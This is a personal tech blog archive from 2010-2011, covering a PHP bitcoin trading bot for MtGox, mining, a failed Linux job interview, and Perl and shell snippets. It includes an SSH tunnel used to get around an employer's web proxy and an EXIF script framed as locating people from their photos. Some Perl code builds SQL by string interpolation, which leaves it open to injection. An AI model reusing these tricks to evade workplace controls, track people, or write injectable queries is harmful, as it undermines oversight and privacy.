BSD Punk

Modified PHP bot for trading bitcoins on mtgox

2011-07-31T13:13:00.000-07:00

General information about bitcoins (mtgox, mining, etc) here: http://bsdpunk.blogspot.com/2011/07/bitcoins-bitcoins-bitcoins.html

I've been messing around with bitcoin, and I found a bot at :
http://bitklein.com/bot.php

What I did was minimize the bot, and change it so it buys bit coins if they are less than 15 dollars, and I have over 60 bucks in my MtGox account.
If the bitcoins become worth over 24 dollars, sell all of them. I also have the mtgox bitcoin app on my phone in case I need to dump them.

function mtgox_query($path, array $req = array()) { 
   $key='yourkey';      //<----KEY! 
   $secret='yoursecret';   //<-SECRET! 
    
                   $mt = explode(' ', microtime()); 
                   $req['nonce'] = $mt[1].substr($mt[0], 2, 6); 
                   $post_data = http_build_query($req, '', '&'); 
                   $headers = array( 
                          'Rest-Key: '.$key, 
                          'Rest-Sign: '.base64_encode(hash_hmac('sha512', $post_data, base64_decode($secret), true)), 
                  ); 
                  static $ch = null; 
                  if (is_null($ch)) { 
                          $ch = curl_init(); 
                          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
                         curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MtGox PHP client; '.php_uname('s').'; PHP/'.phpversion().')'); 
                  } 
                  curl_setopt($ch, CURLOPT_URL, 'https://mtgox.com/api/'.$path); 
                  curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); 
                  curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 
                  $res = curl_exec($ch); 
                  if ($res === false) throw new Exception('Could not get reply: '.curl_error($ch)); 
                  $dec = json_decode($res, true); 
                  if (!$dec) throw new Exception('Invalid data received, please ma 
  ke sure connection is working and requested API exists'); 
          return $dec; 
          } 
  $decoded=mtgox_query('0/getOrders.php?since=0'); 
  var_dump($decoded); 
  //print_r($decoded); 
 $seconds_wait = 40; 
  $truth =  TRUE; 
  while($truth){ 
          sleep($seconds_wait); 
          echo "----------------------------------------\n"; 
          $r=mtgox_query('0/getFunds.php'); 
          echo "USD TOTAL: ".$r['usds']."\n"; 
          echo "BTC TOTAL: ".$r['btcs']."\n\n"; 
          $decoded=mtgox_query('0/data/ticker.php'); 
  //      echo date('l jS \of F Y h:i:s A')."\n"; 
          echo "LAST:".$cur_last=$decoded['ticker']['last']."\n"; 
          echo "BUY:".$cur_buy=$decoded['ticker']['buy']."\n"; 
          echo "SELL:".$cur_sell=$decoded['ticker']['sell']."\n"; 
          echo "HIGH:".$cur_high=$decoded['ticker']['high']."\n"; 
          echo "AVERAGE:".$cur_avg=$decoded['ticker']['avg']."\n"; 
          echo "VWAP:".$cur_vwap=$decoded['ticker']['vwap']."\n\n"; 
   
  if(($r['usds'] > 60) && ($cur_buy < 15) ){ 
                  $amount= ($r['usds'] / $cur_buy); 
                  $amount = number_format($amount, 2, '.', ''); 
                  $price=$cur_buy; 
                  echo " PRICE: $price AMOUNT: $amount"; 
                  echo "Buying Bit coins to cancel transaction hit Ctrl C\n"; 
                  sleep(30); 
                  $req=array('amount'=>$amount,'price'=>$price); 
                  $decoded=mtgox_query('0/buyBTC.php',$req); 
                  echo "STATUS: ".$decoded['status']."\n"; 
  }                                
          if($cur_sell > 24 ){ 
                  echo "Selling Bitcoins\n"; 
                  $price = $cur_sell; 
                  $amount = $r['btcs']; 
                  $req=array('amount'=>$amount,'price'=>$price); 
                  $decoded=mtgox_query('0/sellBTC.php',$req); 
                  echo "STATUS: ".$decoded['status']."\n"; 
                  $truth = FALSE; 
          } 
  }

You can get information about mtgox's api here, and about the bot: http://bsdpunk.blogspot.com/2011/07/bitcoin-software-for-mtgoxs-api.html

When I run this script I actually start a screen session, then type: php mtgox.php > mtgox.log
After that I open a terminal window and tail -f mtgox.log

Bitcoin software for mtgox's api

2011-07-31T09:43:00.000-07:00

MtGox has this wonderful API: https://mtgox.com/support/tradeAPI

There's also a perl module for MtGox: http://search.cpan.org/~mndrix/Finance-MtGox-0.01/lib/Finance/MtGox.pm

And someone wrote this handy PHP bot, who I promise in the future I will donate some sort of bitcoinage too, because I ripped this thing apart and made my own, but he certainly made my life much easier:
Forum post:
http://forum.bitcoin.org/index.php?topic=31693.msg398512#msg398512
Actual Website to download File:
http://bitklein.com/bot.php

I'll post some of my modifications to the bot some time in the future.

Also if you're really interested in bitcoin mining, I invite you to take a look under the hood of the bitcoin miner poclbm
https://github.com/m0mchil/poclbm

Bitcoins bitcoins bitcoins

2011-07-31T09:24:00.000-07:00

I'm going to defcon soon and it seem that there is only one lectrure on bitcoins. This saddens me. I use Mt.Gox to do all my bitcoin transactions. Which is to say convert my bitcoins into DOLLA DOLLA DOLLA bills. I am somewhat proud and somewhat ashamed to admit I am a bitcoin miner. As of right now I don't have any winning tips for you on how to be a miner. I will however introduce you to them.

Go here if you want to read the real version of what they are and how they work, instead of my dramaticized half fictional account: http://en.wikipedia.org/wiki/Bitcoin

Bitcoins are a currency based on cryptography, using various mathmatics to prevent shenanigans. Bitcoin miners, people who provide proof of work, for the bitcoins, can actually aquire bitcoins. And bitcoins can be turned into dolla dolla dolla bills. So to do this proof of work you rent out your proccessor, ok really you need to rent out your graphics card: ( https://en.bitcoin.it/wiki/Mining_hardware_comparison )

Woah Woah Woah, why are all the cards ATI..., well it turns out the function mostly used is sha256 and guess what, on ATI cards, there is a specific asm function for that....WAY TO GO Amd.

So get a client to cruch this cryptography and start cracking away. Use poclbm if you got graphics cards on the brain( https://github.com/m0mchil/poclbm ). Now if you want to use CPU's which is by all accounts is at least 50 some odd times slower you can still go for it, use RPCMiner for mac, and minerd for linux. Join a mining pool like deepbit and start crackalackin a way.

If you join a mining pool the rewards can come very fast.......but with very fast, come very small rewards, lol.

CAVEATS:
OH AND ONE HUGE CAVEAT. This will eat electricity like a mother fucker. No joke, if you live in (Worse case US scenario ) Hawaii, have two rigs, with 2 graphics cards a piece your electric bill can go up over 200 dollars what it normally is. LOl that math is bad and terrible. For real math ( http://www.pcper.com/reviews/Graphics-Cards/Bitcoin-Mining-Update-Power-Usage-Costs-Across-United-States ). This also makes crunching solely on cpus, pretty much a no gain death trap, by my understanding.

Updates to Contest and Goings on (Defcon)

2011-07-31T08:57:00.000-07:00

If you have a submission for the contest find someway of getting it to me, whether that be bsdpunk at the gmail, or a comment to your github, or whatever your preferred method of delivery is. I'll announce a winner soon.

In other news, I will be at defcon, if you would like to befriend/harass me. So give me a tweetage @bsdpunk if you'd like to meet up.

#devel contest draft rules

2011-06-12T23:20:00.000-07:00

It's contest time again, and more particularly, it's contest time for the #devel channel on irc.malvager.net

Draft Rules for the #devel contest of irc.malvager.net:

Create a tool that will either allow or otherwise encourage people in #devel to collaborate in code writing and or sharing. The platform/language can be any (within reason; if you’re not sure, ask). It will be judged subjectively by both bsdpunk and psycho on both functionality and creativity. The first place prize will be a bsdpunk t-shirt and an Arduino (or Arduino clone). The second place prize is an Arduino (or clone). If god willing a third place prize, tbd (this one is not written in stone).

Contest will be over on the 20th of July.

Draft rules are subject to change for the next week, keep updated by looking at this blog(rules will only change by minor stipulations, the spirit of the contest will remain the same).

The blog has been around for a wee bit. And will be around for a wee bit more.

2011-05-29T07:07:00.000-07:00

I got my first check from google, for running ads on my site. My first blog post, for this particular blog, was on Tuesday, January 22, 2008. That check, is a reflection of from then, until now. I told my girlfriend that I had gotten the check and she said that was cool, and I was like not really, 3 years of work, translated into 73 dollars didn't seem good to me. And asked, well isn't it "free money", from a labor of love?

Hmm… Had to think on this one for a moment. It certainly didn't start out that way. I started writing the blog, thinking I could sell T-shirts and get advertisement revenue, by attracting teenagers with a disposable income. This certainly isn't what happened. If you will waltz down memory lane with me for a paragraph I'd appreciate it.

In the first year, I started it to make money. Which in retrospect was dumb. I got an account on a forum site, hackforums.net. Which turned out to be the right demographic, but people searching for the wrong knowledge base. For the first year that site was 70% of my traffic with the other 20 - 30% coming from google search results. I worked hard to be someone on that site and eventually I was even a moderator for it. I busted my ass that first year, writing the majority of the now 433 posts on this blog, being written in that time. And I tried to sell t-shirts, even had a photo shoot, lol.

I really began exploring other creative mediums as time progressed, the blog gave me a vehicle and confidence to do so. I wrote some, hmmm, would you call it music? Eventually finishing an "EP" which you can still download from last.fm.

I'm doing lot's of other little things. That are various and sundry labors of lover perhaps. In fact I'm microblogging right now at http://ramblings.malvager.net. I do a fiction blog that most certainly is a labor of love. And other side projects that may fall into that category. And another goblin majick album coming up too.

So what is it now, obviously I'm still blogging, and I'm not making money off of it. I've got about 5 posts planned out as of right now, don't know whether they all get released next week or next month. Is it a labor of love? It must certainly isn't. Is it to make money? Of course not. All I can say for sure, is it's a force of habbit.

irc.malvager.net, is my only continuously kept updated labor of love, and for me it's more of a money sync than a labor of love, because two(kye, psycho) of the GREATEST people, and damn good hackers too, help me maintain it, while I just pay a chunk of the server bill. Seriously, love you guys; in the words of Jesse Dangerously, I couldn't make a move without you guys, y'all my legs.

Last.fm I must leave thee.

2011-04-07T02:11:00.000-07:00

I really like last.fm, I like what it keeps track of. That's what I like about it. I don't like it's algo, the math they use to determine what songs you like. Yeah I listened to ICP in the 5th grade...no I don't need every single song I listen to today to be from Psychopathic Records. At one point on my "Reccomended" I could only get comedy because I liked a few comedians tracks, and a lot of nerdcore. ::facepalm::

Do not need.

So I don't care, they keep track of what I'm listening to, that's what I use the service for, and for the create your own station by tag or whatever the option is called. This station only mildly has to do with that tag, which for better or worse is usually better than the radio....wait, not if you live near/in Nashville. We have 91.1...at least for a little while. Losing that station is going to suck.

I digress. So I went to listen on my phone today, to Last.fm and sure enough there's a pay wall for mobile devices now. I did a double take...seriously. I started poking around there website to see what the deal was, and wonderfully enough there is an export in XML format, for your loved tracks.

I took the chance, and indeed Paul Simon was right. I hopped on the Bus Gus. So I grabbed that file. I decided to make it more readable for non geeks, so I did this to put a more readable version in a file called titles:

cat bsdpunk_lovedtracks.xspf |perl -pe "s/.*<title>(.*)<\/title><creator>(.*)<\/creator>.*/Song: \1 Artist: \2/gi"> titles

Yeah yeah I know, don't parse XML with regex, it will anger Chthulu. I still don't know what you are supposed to use to parse it without regex, and even if I did I probably wouldn't use it for this, it took me less than a few minutes to write.

Also does that snippet of code help...no not really. I mean that's to give you something that is human readable to other people, you know...normies, so you have a:

Song: Twenty-Three Artist: MC Lars
Song: Listen Close Artist: MC Frontalot
Song: In Arrears Artist: MC Frontalot
Song: Why So Nerdcore Artist: MC GoblinMajick

What will I ultimately do with this xml file...obviously not this, unless I just wanted to paste it up somewhere like a web page.

I think I actually want to build my own algo. In some way it can be run independently, of pay services that actually provide the music, like last.fm.

How will I do this...I have no idea. It's 4 in the morning, and I have to be at work in a few hours, I just couldn't sleep.

Until then I will use Pandora on my phone( evo shift ). My very awesome phone I am very much in love with(not sarcasm).

Read this, for his name is fishmeal

2011-04-04T08:11:00.000-07:00

Success and Farming vs Mining
Read this, and if you don't read it, then the tl;dr I got out of it, is quoted below.

This doesn’t work. Your idea sucks. No, I’m not calling you stupid — my idea sucks, too. All ideas suck, because they are just ideas. They’re worth nothing.

My success is because I worked to make the idea real. A lot. All my life. Starting when I was 12, I learned to program, and I’ve programmed every spare moment since. I didn’t become a millionaire until I’d worked at it for eighteen years. There was no genius idea I had. I just kept working, hating what I did before, and working some more to make it better.

I've been thinking about how I should focus, on what I should be doing, who I should be working for, and what I should be learning. It was nice to have a lighthouse in the fog. I know where I'm headed, but the occasional reminder never hurts.

Donate to Japan, Keep Checking on GeoHot and Keep it Real programming

2011-03-31T12:25:00.000-07:00

I really appreciate this site because the only image is the center one(well the center image is a bunch of images put together), but the rest of the "logos" are randomly created through javascript. http://next.do/, I used the idea, and quite honestly borrowed a lot of the javascript to create something for my girlfriend.

This week though I couldn't afford to give much I did give to one charitable japan cause, one because I like 8 bit music and two because....well there was a god damned earthquake:

http://truechiptilldeath.com/japan/

You get a SHITLOAD of tracks for whatever you donate....if you do donate small like I do, I suggest you also donate the cost of the credit card transaction, the extra 83 cents or whatever isn't going to kill you.

And it looks like the first round of donations for geohot(PS3 hacker) are closed, but keep abreast of the situation Geohot's blog.

And if you need your daily dose of reality, in the programming realm, take a look at this Use your brain.

Ok no more shitty link posts....ever again...I promise...until next month anyway.

Using Javascript in the address bar

2011-03-31T11:54:00.000-07:00

One easy way to run javascript in your browser is to, simply type:

javascript: and then a javascript function

So for example, if you want to change the term Christian Business into scams, just paste this into your address bar.

javascript: document.write(document.childNodes[1].innerHTML.replace(new RegExp(/Christian Business/gi), "scams").replace(new RegExp(/Christian Business/gi), "scams"))

To test this you could go here: http://www.google.com/search?hl=en&q=%22Christian+Business%22&aq=f&aqi=g10&aql=&oq=

And then just paste said javascript into the browser bar.

The questions and the aftermath

2011-03-30T08:08:00.000-07:00

After the interview that changed me from believing I was masterful wizard of the cli, into realizing I was more like Schmendrick before he met the Unicorn. I thought I would share some of the questions, and what I've been doing to improve my knowledge. This isn't a comprehensive list of all the questions as the interview is mostly a blur, as mentioned before I usually knock technical interviews down like dominos. This one I didn't and I can only blame my soft knowledge of linux, which I greatly exaggerated in my own mind. For the sake of brevity, and sort of for accuracy as well, when I got one right he seemed to nod, and write the extent to which I felt the mastered the question down, so I'll say nod for those, and for the ones I got wrong, he just put a tick mark next to that.

Preliminary non Technical Questions

Can you pass a drug test?

Yes.

Are you sure?

Yes.

It's a hair test.

I nodded.

THEY WILL FIND A HAIR.(I'd like to note he did in fact raise his voice)

I'd like to note that during the interview I was pretty "clean" looking. I had shaved, cut my hair, was wearing a shirt and tie, however any other given day perhaps this question would require more than one pass, as I do usually sport long hair and neck beard, wear t-shirts, and generally look of malaise. He could have been reading my body language or he could have just not wanted to deal with a 2 hour technical interview that day, or with someone who wasn't going to pass anyway. I don't know.

He asked if I could pass a credit check.

Yes.
He asked if I could pass a background check.

Yes

The Technical Terror Interview

Like I said these are the questions I remember, as close to the order I remember. The interview was two hours, so obviously quite a few are missing. Also I started by adding that some of the facts on my interview were padded or inaccurate, because my recruiter had rewritten it. I went over these with him so that if necessary we could cancel the interview. However, he didn't seem to mind the areas I was weak in.

Have you ever compiled the linux kernel?

I have it's been longer than 5 years ago, it was for a driver issue or something like that, if I remember correctly. It's been a long time.

nod

What are the tools required to compile the linux kernel?

Like I said it's been a long time, I don't really remember, I'm sure gcc is involved at some point.

tick

Describe the linux boot process after it is handed over from the bios

Note: Panic set in, I lost my shit, why didn't I know this, I know I should know this.

So I hate to admit this but I don't know,if I had to guess it would go to the boot manager, then probably the kernel, then the kernel modules then kudzu at some point maybe.*sigh*

tick

This is probably where the gaps start but I regain conciseness somewhere about 30 minutes-ish later, I know I said something about apache during this time period that seemed to tickle his fancy, but that's about all the good that thirty minutes had

What editor do you use?....Oh well of course I know what you use.

Vim?

I'm guessing it's the only real editor to you?

Well it's my favorite, but I have respect for my emacs brethren

At this point, a calm in the storm, we had an editor conversation where we both seemed to agree on a lot of it. Mostly it was about how to teach those new to vim how to use it. We also did a little nano slamming.

What is a zombie process?

A process that has lost communication with it's parent and probably needs to be killed.

Half Tick, Half Nod, slight writing.

He explained that the parent process to had died and he asked me how to kill it.

Probably a kill -9.

Hmmm...

tick

Just a kill or kill -4

Do you know the difference between kill -9 and kill

I believe a kill -9 is forcing a program to close and a kill is more like asking the program to close

Not sure if I got a tick or a nine

I feel quite defeated at this point.

Can you name any other signals?

no

Can you tell me about the runlevels

Not a whole lot I know there was for halt.(I do know more about the runlevels but at this point my brain was on a tactical retreat, and if the doors didn't have retinal scanners I would have run from the building like a little girl....ok ok the retinal scanners were only to get into the room, it was the social contract that kept me there.)

tick

Another black out.

What is cross site scripting?

I was defeated, I was non caring. I answered with the enthusiasm of a mental patient on so much thorazine, his drool would drool.

I don't know, javascript, steal cookies something.

It seemed that seeing my interested fade, had somewhat diminished the perverse pleasure he may have been taking in the interview. The questions got a little stranger.

What's the farthest you could get in a MySQL injection attack?

I start pontificating on UNIONS and LIKE's and REGEXP's and he knew he had me back in the game.

No tick or nod, I don't think this was on his questions sheet

Do you know what ARP poisoning is?

Boy Howdy, I answered this with aces, explaining the arp protocol, and what programs to use to do this. How to do this on linux, windows, or how to write something in perl that would accomplish the task. Then I told him how you could even fake an ssl cert.

This peaked his interest. He said "But wouldn't there be a nag screen saying the cert wasn't valid. Certainly I wouldn't log into my bank if such a screen popped up"

"Neither would I, but would she" I pointed to the secretary that was several glass walls between us.

NOD.

He started a network question: If I had a subnet mask of 240...

Before he finished I said "16 hosts, 16 networks"

Nod

We talked about VLSM for several minutes

We got into an argument about UDP, I had this half thought out theory about offloading the handshake to the processor to conserve bandwidth(yes I realize I was wrong now, and did admit it in the interview). It was terrible, I argued with an interviewer with a half baked theory.

He congratulated me on knowing a lot about networking anyway, and said a lot of linux admins were weak in that area.

Name three ways to restart a linux box?

Again I had lost interest. "Umm, shutdown -r now, and probably one of the runlevels"

I can tell you started using linux a long time ago, most newer guys don't know shutdown -r.

This was his final and what I considered second compliment.

He asked me if I had any questions. I said I felt dumb. He said "Sometimes an interview is just to let you know, you aren't qualified for the job."

What am I doing about?

Well I purchased Linux Kernal in A Nutshell for the kindle app on my android and I've been reading it. I'm going to try and complete a http://www.linuxfromscratch.org/ tutorial this weekend. I have bookmarked a webpage that is the equivelent of man page for linux signals, and the wiki page for run levels of linux. I took this interview because my contract was running out on a web programming job(perl, but in a windows enviroment). I'm also going to get more organized and focused on what I need to be learning.

I'm also not going through recruiters unless I must. Unless it's this guy, The Antipimp , he's a friend and trustworthy. I've since learned my current recruiter(not the one that set me up on my interview/lied on my resume), is making around .7 what I make on every hour. So for the sake of arguement and easy math(ie these numbers are false), if I'm making 30 dollars every hour, my recruiter is making 18 every hour.*

So that's where I'm at. If you have suggestions on what to learn/read/do, please let me know.

* I just redid the math and it's actually closer to .8.

The Linux Job Interview from hell.

2011-03-29T22:07:00.000-07:00

*I've been an (very) amateur linux enthusiast since 1999 and a profesional linux admin for 5+ years*

**Hi Redditors and Hacker News people, I got a huge amount of comments on specifics about the interview, like what the questions were, etc, I have since written that information here http://bsdpunk.blogspot.com/2011/03/questions-and-aftermath.html . **

So what do you do, when you've been bested? When you have been so wholly destroyed in an interview, it shakes you to your core. When you get about thirty percent of the questions right, and you can't blame anyone but yourself. It was a face to face interview, and when the interviewer saw you struggle, and you were on the right track he helped, in the capacity he could without giving you an answer.

A two hour face to face interview with only technical questions. No way to ease out of this one, no excuse. "The multiple choices was obscure", "The wording was wrong", "When would I ever need to know that." All those justifications were thrown out the window. It was no use to hold on my pride.
I had my skin ripped off me. I thought I was somebody, I thought I new Linux like the back of my hand. But more importantly I recognized, for the first time in the long time, that I knew very little. I'd like to blame the product of my environment. That for the past 6 or so months, I've had no coworkers, or friends in the field, to truly talk to, or compare notes. Only the occasionally tweet exchange with strangers. Or that I've been working in a windows environment for about the same amount of time. But this isn't the fault, this isn't why, it was my arrogance.

I've always done well in interviews, all types of interviews, but when it comes to tech interviews, they've always been like candy from a baby. Not this one. So I am going to lay some things down for you.

What did I do wrong? To start with, which is only the beginning. I didn't review the basics, you know stuff you learned in school, or just dicking around with Linux. So simple questions about the kernel boot process, stuff I hadn't though about in a while, because I was used to just booting machines in the cloud and setting them up with automated scripts I wrote, hadn't thought about the boot process in a while. Stuff like runlevels and signals, I know what they are, I know how to Google them, but I don't have exact memories, I know kill -9 is force and normal kill and ctrl-d are ask the program to quit....can I explain it more technical than that, apparently not.

I missed questions I knew but forgot the answers to, like the difference between asymmetric and symmetric encryption. I just forgot the terminology, cause I didn't even glance at a book; I had this thing in the bag I thought. If he would have asked me to describe PKI, I would have pwned that question like Charlie Miller, chowns a mac. But he didn't, I was lost.

I missed questions I didn't know the answers to, and had thought were irrelevant....until he explained the answers to me.
I even asked him to ask me questions on things I thought I knew, like rsync, and was humiliated worse than Ben Stiller in any of his movies. After being grilled on why I would use the v, I knew it was over.

After all this frustration, I had the audacity to get in an argument about UDP which I hadn't fully thought out, and of course my argument was crushed, and ultimately wrong to begin with. (I assure you at this point I had already crashed and burned so hard this was not a deciding factor in me being hired).

Did I go in with the wrong attitude? No, I don't think so. I just wasn't technically skilled enough for the position, I had a belief that, I can survive in any position as long as I'm given enough lee way for a couple of weeks so that didn't scare me off.

I'm going to say 99% of the failure of this interview was my fault, I wasn't skilled enough, and I didn't prepare, as I should. I would like to fault someone else for the other 1%, a recruiter who buffed my resume without my knowledge, sending me in the dragons den with embellished, if not downright false information, with my resume.... rewritten to serve his needs.

I'll follow this up with how I am going to remedy my skillset/interview/recruiter policy in the next few days.

EDIT: Ctrl-D is actually end of file, thanks to the peeps at hacker news. Please keep reporting inaccuracies and I will fix them as they are found.

Favorite way to regex a file using perl

2011-03-09T13:08:00.000-08:00

Sometimes you want to do some magic fu on your file, while it's not loaded in a vim buffer. This is what I use with perl. I know there is probably a way to do this with sed, but I couldn't find it quickly enough. Most of the time when I do a search and replace out side of vim I want to replace something that's already in the file, with itself in a different position. For example:

I want to replace variablewordspace with variablewordtime, so in the file var.txt I have:

variablewordspace
hammerspace

So what I would do is:


cat var.txt | perl -pe 's/(\w+)space/\1time/'

which would give me the output:


variablewordtime
hammertime

For a brief description:
You are display the file var.txt, through the cat command. Then using the pipe (|) you are passing that to perl, with the switches p and e. Switch e allows you to run from the command line without explicitly writing a perl program, while switch p allows you to run a program against every line on standard input, and prints whatever is in $_ after each line. A search and replace using s/// with the search term in the first set of slashes


/(\w+)space/

The parentheses mark that as a group.

The \w+ means any number of word characters, as where the 'space' just represents the word space.

In the last set of slashes is what you want to replace it with.

/\1time/

\1 represents what is in that first set of parenthesis.

And time of course, represents the letters 'time'

Simple Stupid Linux Tricks ssh port forwarding

2011-01-13T08:25:00.001-08:00

At work I'm firewalled in, and I'm on a linux server...however they allow traffic over port 22. So it's really easy to get to meebo. You can do this with most sites, however if they require more than one port you'll need a more complex solution.

I fire up cygwin and type this in.(You can use any ssh client though)

ssh -L 8888:meebo.com:80 root@wereboobs.com -N

ssh creates a tunnel from me to wereboobs, which the proxy doesn't care about to meebo which the proxy does(ironic, no?). So now if I type localhost:8888 into my browser I can get to meebo without going through the web proxy. Bonus...the web traffic from meebo is encrypted until it reaches wereboobs.

Grab your delicious bookmarks before they're gone

2010-12-16T16:01:00.002-08:00

Rumors that delicious is being closed by yahoo, made me want to grab my bookmarks, Someone posted this on twitter

curl https://user:pass@api.del.icio.us/v1/posts/all

via :adactio

Which is nice but gives you all that xml gunk.

This gives you a nice list in a file bookmarks.txt

curl https://user:pass@api.del.icio.us/v1/posts/all | grep -E -oh 'http:\/\/.*?/"' | grep -E -oh 'http.*?/' > bookmarks.txt

Pull the alt / title tag from xkcd picture from command line

2010-12-14T14:03:00.000-08:00

How to pull the alt (actually the title tag), from xkcd with the command line

[root@queerlikerice ~]# curl xkcd.com | grep -E -oh 'title=".* alt=' | grep 'title' | grep -E -oh '".*?"'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8375 100 8375 0 0 137k 0 --:--:-- --:--:-- --:--:-- 538k
"And if you labeled your axes, I could tell you exactly how MUCH better."

Bash cli:
curl xkcd.com | grep -E -oh 'title=".* alt=' | grep 'title' | grep -E -oh '".*?"'

Mounting a blue ray iso on linux, to play in vlc

2010-11-08T17:20:00.001-08:00

Recently downloaded a blu ray movie on my seed box, went to play it and I could mount it in ubuntu but the default setting still would not let me watch the movie in vlc. However after a quick google search I went here:
http://ubuntuforums.org/showthread.php?t=1209981

And sure enough the guys advice which was to mount with:
sudo mount -o loop -t udf pathtobluray.iso /media/cdrom

Worked perfectly. Once mounted navigate to the directory with vlc /dev/cdrom/BDVM/STREAM/*.m2ts

I put an asterisk because I am not certain the m2ts is the same name on every blu ray.

Using perl to create hash tables like your mysql tables

2010-11-08T17:13:00.000-08:00

The subroutine Below will take an array of table names and put the columns in a hash, then grab rows and match said rows with said field/column. So that $tableData('salesdatafirst_name') would be the value for the first name column in the tables sales data, in the row based on your condition in the second query of the subroutine.


sub get_table_data {
 foreach(@_){
  my @ColumnNames;
  $data_name = $_;
  $dbh = DBI->connect($connectionInfo,$userid,$passwd) or print "Couldn't connect to database: ". DBI->errstr;
  $sql = "SHOW COLUMNS FROM $data_name";
  $str =  $dbh->prepare($sql) or print "Couldn't prepare query: ". DBI->errstr;
  $str->execute() or print "Couldn't execute query: ". DBI->errstr;
  while (@querytwo = $str->fetchrow_array()) {  #loop thru results
   $tableData{$data_name.$querytwo[0]}='';
   $tableHashHelper = $data_name.$querytwo[0];
   push(@ColumnNames, $tableHashHelper);
  } 
  
  $sql = "SELECT * FROM $data_name WHERE condition = '$yourcondition'";
  $str =  $dbh->prepare($sql) or print "Couldn't prepare query: ". DBI->errstr;
  $str->execute() or print "Couldn't execute query: ". DBI->errstr;
  while (@Q = $str->fetchrow_array()) {  #loop thru results
   for ($i=0; $i<=$#Q; $i++) {
    $tableData{$ColumnNames[$i]} = $Q[$i];
   }
  }
 undef(@tableColumnNames);
 $dbh->disconnect();
 }

Retrieving Exif data, or Where she at bro?

2010-11-06T09:30:00.000-07:00

Geolocation data in some cameras and many smart phones is embedded in the photos that these devices take.

View Larger Map

**Technical information**

The incredibly simple script **must install Image::ExifTool**
Image::ExifTool can be installed rather easily, through cpan.

use Image::ExifTool qw(:Public);
my $info = ImageInfo("$ARGV[0]");

foreach (keys %$info) {
print "$_ => $$info{$_}\n";
}

run it like this:
perl meta.pl test3.jpg

Output for this looks like:

GPSLatitude (1) => 43 deg 49' 42.60"
GPSLatitude => 43 deg 49' 42.60" N
GPSLongitudeRef => West
GPSTimeStamp => 01:00:12.48
GPSLatitudeRef => North
GPSLongitude => 79 deg 7' 24.00" W
GPSPosition => 43 deg 49' 42.60" N, 79 deg 7' 24.00" W
GPSLongitude (1) => 79 deg 7' 24.00"
lane@skullfuckerthemagnificent:~/Pictures$ perl meta.pl test27.jpg
XResolution (1) => 1
ImageWidth => 600
Model => iPhone
ExifImageHeight => 1600
GPSLatitude (1) => 43 deg 49' 42.60"
ResolutionUnit => inches
ColorComponents => 3
BitsPerSample => 8
GPSLatitude => 43 deg 49' 42.60" N
MIMEType => image/jpeg
FileType => JPEG
GPSLongitudeRef => West
ResolutionUnit (1) => None
ExifToolVersion => 8.25
FilePermissions => rw-r--r--
JFIFVersion => 1.02
Directory => .
FileName => test27.jpg
ImageHeight => 800
XResolution => 72
Make => Apple
DateTimeOriginal => 2009:04:08 01:00:13
GPSTimeStamp => 01:00:12.48
CreateDate => 2009:04:08 01:00:13
YCbCrSubSampling => YCbCr4:4:0 (1 2)
ExifByteOrder => Little-endian (Intel, II)
FileModifyDate => 2010:10:22 07:43:26-05:00
ExifImageWidth => 1200
ColorSpace => sRGB
EncodingProcess => Baseline DCT, Huffman coding
FileSize => 58 kB
YResolution => 72
Aperture => 2.8
GPSLatitudeRef => North
GPSLongitude => 79 deg 7' 24.00" W
GPSPosition => 43 deg 49' 42.60" N, 79 deg 7' 24.00" W
YResolution (1) => 1
FNumber => 2.8
ModifyDate => 2009:04:08 01:00:13
GPSLongitude (1) => 79 deg 7' 24.00"
ImageSize => 600x80

and if you have linux, mac, or your operating from within cygwin on windows this helps:

perl meta.pl test3.jpg | grep 'GPS'

Output for this will look like:

GPSLatitude (1) => 43 deg 49' 42.60"
GPSLatitude => 43 deg 49' 42.60" N
GPSLongitudeRef => West
GPSTimeStamp => 01:00:12.48
GPSLatitudeRef => North
GPSLongitude => 79 deg 7' 24.00" W
GPSPosition => 43 deg 49' 42.60" N, 79 deg 7' 24.00" W
GPSLongitude (1) => 79 deg 7' 24.00"

GPSPosition is the one your looking for you will need to trim it for google maps(IE 43 49' 42.60" N, 79 7' 24.00" W).

Most photos that get uploaded to the intarwebs get altered by resizing software or watermarking software or what not. When these photos are altered, many times thier EXIF information is cleared and replaced with information about the software that has done this(ie imagemagic GD). So most photos are not very useful. Sites that might be useful are probably twitter related image storage sites, simply because they consider stuff like geotags valuable.

Using DBI putting field / column names in a hash table

2010-11-06T08:16:00.000-07:00

use DBI;
use DBD::mysql;
use strict;
use warnings;

my $database = "ci";
my $host = "localhost";
my $port = "3306";
my $tablename = "happy";
my $user = "root";
my $pw = "wouldntyouliketoknow";

my $dsn = "dbi:mysql:$database:localhost:3306";
my $connect = DBI->connect($dsn, $user, $pw);

my $query = "SHOW COLUMNS FROM $tablename";
my $sth = $connect->prepare($query);
$sth->execute();
my %hash;
my @ary;
while(@ary = $sth->fetchrow_array){
$hash{$ary[0]}= '';
}
my $key;
my $value;

print "\n";
while (($key, $value) = each(%hash)){
print $key.", ".$value."\n";
}

Same as the perl script before, but using DBI module instead of Mysql Module.

Loading a hash with the field names from a mysql table using cpan's Mysql;

2010-11-06T07:38:00.001-07:00

#!/usr/bin/perl

use Mysql;
use Data::Dumper;

$host = "localhost";
$database = "ci";
$user = "root";
$pw = "wouldntyouliketoknow";
$table = "happy";

$db = Mysql->connect($host, $database, $user, $pw);
$fields = $db->listfields($table);
@hammer = $fields->name;
%hash = map { $_ => 1 } @hammer;

So you can load up a has with the field names on one side, so you can have variables like $hammer{primary_id}.

Cygwin, Where's My hardrive?!? interrobang

2010-11-06T07:36:00.000-07:00

/cygdrive/~driveletter~

This is more a note for me, lol. New Job has windows computers, yuck.

Getting Back

2010-05-26T04:47:00.000-07:00

